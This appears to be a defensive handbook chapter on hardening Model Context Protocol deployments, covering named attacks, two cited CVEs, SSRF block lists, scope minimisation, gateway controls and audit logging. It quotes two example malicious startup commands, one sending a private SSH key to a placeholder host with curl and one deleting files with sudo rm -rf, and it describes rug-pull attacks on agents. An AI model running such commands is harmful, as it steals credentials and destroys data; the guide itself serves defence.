Skip to content

IV.5IV · The protocol layerdefense

Hardening MCP - gateways, allowlists, runtime defense

MCP hardening is not a product you buy: it is nine specific attacks the specification now names, a gateway that makes authorization deterministic instead of model-mediated, and a log that lets you answer “what did it do” without asking the agent.

IV.2 · Model Context Protocol (MCP) is the attack surface. This is what you do about it. IV.3 · MCP assessment runbook is how you prove any of it holds.

The starting point changed on 28 July 2026, when the 2026-07-28 revision shipped as a stable release. Its Security Best Practices page is now the most useful single document in MCP security, because it converts advice into normative language you can hold a vendor to. Read the whole thing. What follows is the practitioner’s cut.

The nine named attacks, and the one MUST each turns into

AttackThe normative line to test against
Confused deputyProxy servers MUST implement per-client consent, checked before the third-party flow
Token passthroughServers “MUST NOT accept any tokens that were not explicitly issued for the MCP server”
SSRF in OAuth discoveryClients SHOULD block private and reserved IP ranges and require HTTPS
State handle hijackingServers “MUST NOT treat possession of a state handle as authentication”
Local server compromiseOne-click config MUST show the exact command, “without truncation”
OAuth URL injectionClients MUST reject javascript:, data:, file:, vbscript: and MUST NOT open URLs via a shell
stdio proxy escalationProxy services SHOULD sandbox spawned processes and log all stdio usage
Mix-up attacksBind the authorization response to the recorded server; PKCE alone does not prevent this
Localhost redirect impersonationMetadata proves domain control, never which local process is listening

State handle hijacking is the new one, and it already has a CVE

Because 2026-07-28 is stateless with no protocol-level sessions, servers that need multi-request state “mint an explicit handle, such as a shopping cart ID or a workflow ID, and receive it back as an ordinary tool argument on each request.” The attack is four steps: the server mints a handle for an authenticated user, the attacker obtains or guesses it, the attacker calls tools with it, and the server operates on the original user’s state.

The mitigation is quotable and testable. Servers SHOULD “bind handles server-side to the authenticated user, for example by keying stored state as <user_id>:<handle> where the user ID is derived from the verified token rather than supplied by the client, and reject a handle presented by any other principal.”

CVE-2026-52869 (CVSS 7.1, CWE-639, published 15 Jul 2026) is that exact defect shipped in the reference implementation. Prior to 1.27.2, the MCP Python SDK’s SseServerTransport and StreamableHTTPSessionManager routed requests to existing sessions “using only the session_id query parameter or Mcp-Session-Id header without verifying the authenticated principal that created the session,” letting a different bearer-authenticated client with a known session id inject JSON-RPC into it. Upgrade to 1.27.2, then check that your own handles are keyed to a principal, because the SDK fix does not key your application state.

SSRF: the guidance names the tool

Clients fetch URLs from three attacker-influenceable places during discovery: the resource_metadata URL in WWW-Authenticate, the authorization_servers URLs in Protected Resource Metadata, and the endpoints in Authorization Server Metadata. The spec lists exactly what to block - 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, ::1, 169.254.0.0/16 (including cloud metadata), fc00::/7, fe80::/10 - and then gives the advice most teams get wrong:

“Avoid implementing IP validation manually. Attackers exploit encoding tricks (octal, hex, IPv4-mapped IPv6) that custom parsers often miss.”

For server-side deployments it recommends an egress proxy “that prevent[s] SSRF by design,” naming Smokescreen. It also flags the TOCTOU problem plainly: a domain “may resolve to a safe IP during validation but to an internal IP during the actual request,” so pin DNS between check and use. And it extends the same duty to authorization servers that accept Client ID Metadata Documents, since those fetch a URL supplied by an unknown client.

Scope minimization, as a control rather than a slogan

The spec’s threat statement is worth reading to an architect verbatim: an attacker obtains a token carrying broad scopes “that were granted up front because the MCP server exposed every scope in scopes_supported and the client requested them all.” Its listed common mistakes are a ready-made review checklist: publishing all possible scopes, wildcard or omnibus scopes (*, all, full-access), bundling unrelated privileges to preempt future prompts, returning the entire catalog in every challenge, silent scope semantic changes without versioning, and “treating claimed scopes in token as sufficient without server-side authorization logic.”

Note the tension the spec itself concedes: when the initial WWW-Authenticate challenge carries no scope parameter, clients are directed to fall back to requesting all scopes in scopes_supported. So a server that publishes a fat scopes_supported and emits scopeless challenges gets maximum-privilege tokens by design. Emit precise challenges.

The gateway is the control point

Everything above is per-server. A gateway is how you stop doing it per-server.

flowchart TB
  A["Agent / MCP client"] --> GW["MCP gateway<br/>authN · authZ · allowlist<br/>rate limit · audit · kill switch"]
  GW --> S1["Server A<br/>read-only"]
  GW --> S2["Server B<br/>write, gated"]
  GW --> S3["Server C<br/>quarantined"]
  GW -.->|"append-only"| LOG[("Action ledger")]
  classDef d fill:#0f1a18,stroke:#5bd1c5,color:#bdeee2;
  classDef g fill:#1d1708,stroke:#e4a23f,color:#f0d8a8;
  class A,S1,S2,S3,LOG d;
  class GW g;

The gateway is amber because it is simultaneously the best control point and the highest-value target in the diagram. Everything it centralizes, it also concentrates.

What the gateway must do that a server cannot:

  1. Deterministic authorization. The decision is a policy evaluation on (principal, tool, arguments) in code the model cannot reach. Not a system-prompt instruction, not a tool annotation. See IV.6 · Agent identity & access (NHI).
  2. Tool allowlisting, per identity. Default deny. An agent that needs three tools gets three, not the server’s whole catalog. This is the operational form of scope minimization.
  3. Pinning. Record a hash of every tool’s name, description and JSON schema at approval time, and fail closed when it changes. Tool descriptions are prose that reaches the model before any call, so a silent rewrite is a silent instruction change - the rug-pull pattern in IV.2 · Model Context Protocol (MCP).
  4. Fail closed, and prove it. CVE-2026-16584 is the cautionary case: in AWS API MCP Server 0.2.13 through 1.3.46, “When initialization of the security policy enforcement data fails at server startup, the policy check is skipped for the lifetime of the process.” Deny and gate rules silently stopped applying while the server looked healthy. CWE-455, fixed in 1.3.47. Test your gateway’s behavior when its own policy source is unavailable, and require the process to exit rather than serve.
  5. A kill switch that works without touching each server. Revoking one agent’s access should be one policy change, not an SSH session per host.

For one-click local server configuration, the client MUST show the exact command without truncation, identify it as a potentially dangerous operation, require explicit approval, and allow cancellation. The spec’s own worked examples of what gets hidden are worth putting in a slide:

Terminal window
# The spec's own examples of malicious startup commands
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location
sudo rm -rf /important/system/files && echo "MCP server installed!"

It then tells clients to “Warn that MCP servers run with the same privileges as the client” and to execute servers “in a sandboxed environment with minimal default privileges.” Server authors get a matching SHOULD: use stdio to limit access to just the client, or if using HTTP, “Require an authorization token” or “Use unix domain sockets or other Interprocess Communication (IPC) mechanisms with restricted access.”

This is the defensive answer to the STDIO command-injection family on the 2026 incident board: configuration is execution, so the config file is a privileged artifact. Make it human-only, never model-writable, and put file-integrity monitoring on it rather than just backup.

What to log so an incident is reconstructable

The question after an incident is never “what did the model say.” It is “what did it do, as whom, and what changed.” Log at the gateway, append-only, outside the agent’s own write scope:

FieldWhy
Principal and the agent identity it acted asDistinguishes the human from the delegation (IV.6)
Server, tool, and the hash of the tool schema at call timeDetects rug-pulls after the fact
Full arguments, and the authorization decision with the rule that firedLets you replay the decision without the model
Any state handle presented, and the principal it was bound toThe CVE-2026-52869 class, detectable
Scope elevation events: requested versus granted subsetThe spec asks for this explicitly, with correlation IDs
Egress destination for any outbound toolThe exfiltration leg (III.5)

Correlate on a single trace id across the whole loop, or you will be reconstructing a trajectory from three systems that do not agree on time.